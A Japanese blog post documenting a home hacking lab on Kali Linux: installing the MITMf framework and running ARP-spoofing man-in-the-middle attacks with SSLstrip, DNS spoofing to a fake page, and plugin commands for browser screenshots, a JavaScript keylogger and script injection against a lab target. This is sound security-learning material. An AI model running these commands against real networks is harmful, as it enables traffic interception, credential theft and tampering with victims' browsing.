LoginSignup
1
4

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる8 Wiresharkでパケットキャプチャ6 MITMfで中間者攻撃(暫定版)

Last updated at Posted at 2022-06-03

はじめに

「ハッキング・ラボのつくりかた」(IPUSIRON著)を参考に、KaliLinux2022.1でもうまくいくか検証している記事です。
今回は、同書のp.487-498をもとにしています。MITMfのインストールと、それを用いた中間者攻撃の実験をします。
MITMfは中間者攻撃を支援するフレームワークです。SSLstrip攻撃を実装していて、暗号化されたhttps/sslをパイパスする機能があります。

MITMfのインストール

以前、インストールを試みたところ、難渋したあげく、失敗してしまった。
しかし、今回もう一度試してみたところ、うまく動作した!!
諦めかけていたところなので、個人的には嬉しい。

やったほうが良い事前準備

KaliLinuxの仮想マシンにスナップショットかクローンを作成しておくと良いかもしれない。
MITMfのインストールに際して、さまざまなdebパッケージ、pipパッケージ、仮想環境の導入、設定ファイルの変更が行われる。パッケージ関係がきれいな状態のスナップショットかクローンを、VirtualBoxの機能を使用して保存しておく。

インストール

1,root権限になってから、リポジトリとパッケージの更新を行う。

sudo -i
//または、次のコマンドでrootになっておく。
sudo su -

apt update && apt upgrade

もし、このパッケージの更新で、KaliLinuxの再起動が推奨されたら、再起動を行う。
場合によっては、非常に時間がかかる(数時間)場合もあるので、留意しておく。
個人的な経験として、apt upgradeをかけた時に、パッケージの更新が数百MBぐらい必要とされて、なおかつmetasploit-framework関係のパッケージ更新も必要な場合なら、非常に時間がかかる。
もし、再起動させたら、端末を立ち上げ直したあと、sudo -iなどでrootになっておく。

2,pythonのバージョンについて把握しておく。特に、python2系が使用できることを確認する。

file `which python` && python -V

/usr/bin/python: symbolic link to python3
Python 3.10.4

KaliLinux2022.1でpythonのコマンドを実行するときに呼び出されるのは、python3であることがわかる。
次に、

file `which python2` && python2 -V

/usr/bin/python2: symbolic link to python2.7
Python 2.7.18

また、ls -al /usr/bin/python*file /usr/bin/python*を実行すると、
python -> python3 -> python3.10
python2 -> python2.7
といった具合に、シンボリックリンクが形成されていることが確認できる。細かなバージョンの違いはあるが、python2系とpython3系の確認をしておく。

3,次に、必要なパッケージをインストールする。pwdでカレントディレクトリが/root/であることを確認しておく。

/root/
apt install python2-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone4 libcapstone-dev libffi-dev
/root/
apt install python3-pip

4, virtualenvwrapperのインストールと設定を行う。

/root/
pip install virtualenvwrapper
vim .zshrc
//もし、bashや他のshellを使用していたなら、そのシェルのスタートアップファイル".SHELL名rc"を編集
vim .bashrc
.zshrc
VIRTUALENVWRAPPER_PYTHON=/usr/bin/python
source /usr/local/bin/virtualenvwrapper.sh

編集内容は、bashなどでも同じ。

5, MITMf用の環境を仮想環境をつくる。MITMfをgitからクローンする。

mkvirtualenv MITMf -p /usr/bin/python2
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf
git submodule init
git submodule update --recursive

mkvirtualenv MITMf -p /usr/bin/python2.7の-pオプションは、"/usr/bin/python2"と指定しても良いかもしれない。前述のコマンドと記述に統一感が出る。

which python,which python2,which pip,which pip2コマンドで、pythonのコマンドがどこにあるかを確認しておく。正常にmitmfの仮想環境が立ち上がっていたら、/root/.virtualenvs/ディレクトリ以下にある。

6, requirement.txtを編集した後、pipパッケージをインストール
一応、バックアップを作る。

(MITMf) /root/MITMf/
cp requirements.txt requirements.txt.old

requirements.txtの1行目のみを編集する。

requirements.txt 1行目 編集前
git+https://github.com/kti/python-netfilterqueue
requirements.txt 1行目 編集後
netfilterqueue

その後、pipコマンドで必要なパッケージをインストールする。

(MITMf) /root/MITMf/
pip install -r requirements.txt

もし、エラーが起きたら、requirementsにかかれているパッケージを一つずつインストールしてみる。

7, うまく起動できるかどうかを確認する。
6で新しく立ち上げた端末内で、次のコマンドを実行する。

(MITMf) /root/MITMf/
python mitmf.py
python /root/MITMf/mitmf.py -v

MITMfでキャプチャを実行する

(MITMf) /root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --hsts
  • -i : KaliLinuxのネットワークインターフェース名を指定
  • --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
  • --spoof : Spoofプラグインをロードする
  • --gateway : ゲートウェイ(ルーター)のIPアドレスを指定
  • --target : ターゲットやられPCのIPアドレスを指定
  • --hsts : SSLstrip+プラグインをロードする

--hstsオプション無しだと、SSLstripプラグインがロードされて起動する。
VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf1.png
ターゲットの挙動として、インターネットが繋がらなくなる。(厳密には、非常に遅くなってタイムアウトする)
また、MITMfの実行中は、kaliLinuxの"/etc/sys/net/ipv4/ip_forward"が"1"と成っていて、IP転送機能が有効になっている。MITMfを終了すると、"0"となって、無効になる。

wiresharkで、eth2を指定してキャプチャする。
VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf_wireshark.png

DNSスプーフィング

DNSへのURLの問い合わせに対して、偽の情報を越えさせる攻撃。
ターゲットを偽のサイトに誘導できる。

偽サイト作成

cd /var/www/html/
sudo cp index.html index.html.org
sudo rm index.html
sudo vim index.html 

書き換える内容

index.html
<html>
<!Doctype html>
<head>
<title>偽ページ</title>
<meta charset=utf-8>
</head>
<body>
<h1>DNSスプーフィングによって表示される偽のページです。</h1>
</body>
</html>

Apache2の再起動

sudo systemctl restart apache2

MITMfの設定ファイルを編集する

"/root/MITMf/config/mitmf.conf"を編集する。
40行目周辺のAレコードの設定を書き換える。www.akademia.infoが192.168.1.100を指し示すようにするだけ。他のところはいじらない。

/root/MITMf/config/mitmf.conf 40行目周辺
[[[A]]]     # Queries for IPv4 address records
                *.thesprawl.org=192.168.178.27
                #*.captive.portal=192.168.1.100
                www.akademia.info=192.168.1.100

DNSスプーフィング

(MITMf) /root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --dns
  • -i : KaliLinuxのネットワークインターフェース名を指定
  • --arp : ARPスプーフィングを使うために、トラフィックをリダイレクトする
  • --spoof : Spoofプラグインをロードする
  • --gateway : ゲートウェイ(ルーター)のIPアドレスを指定
  • --target : ターゲットやられPCのIPアドレスを指定
  • --dns : DNSスプーフィングを実行
    ターゲットのブラウザからwww.akademia.infoにアクセスする。
    しかし、同サイトが表示されない、若しくはつながらない。
    MITMfのログには、アクセスがある。

VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_mitmf_dns.png
赤い枠で囲ったところが、エラーの原因か・・・
などと思ったところで、Ctrl+CでDNSスプーフィングを停止したところで、偽サイトが表示された・・・。
挙動がよくわからん・・・

その他のテクニック

同書の内容を紹介だけ

  • 画像を逆さまにする
/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --upsidedownternet
  • ブラウザの表示をスクショする
/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --screen --interval <sec>
  • キーロガーを埋め込む
/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --jskeylogger

ファイル出力したいなら、>> ./keylog.txtを、最後に付け加えてリダレクトとする。

  • Code Injection(Injectionプラグイン)
/root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-file <jsスクリプトのパス>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-url <jsスクリプトのURL>
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-payload "<javascriptのコード>"

JavascriptまたはHTMLをwebページに注入する。

おわりに

結局、あんまりうまくいかなかった気がする。BeEfがうまくいけるか不安。
参考にしたもの
「ハッキング・ラボのつくりかた」(IPUSIRON著)

1
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
4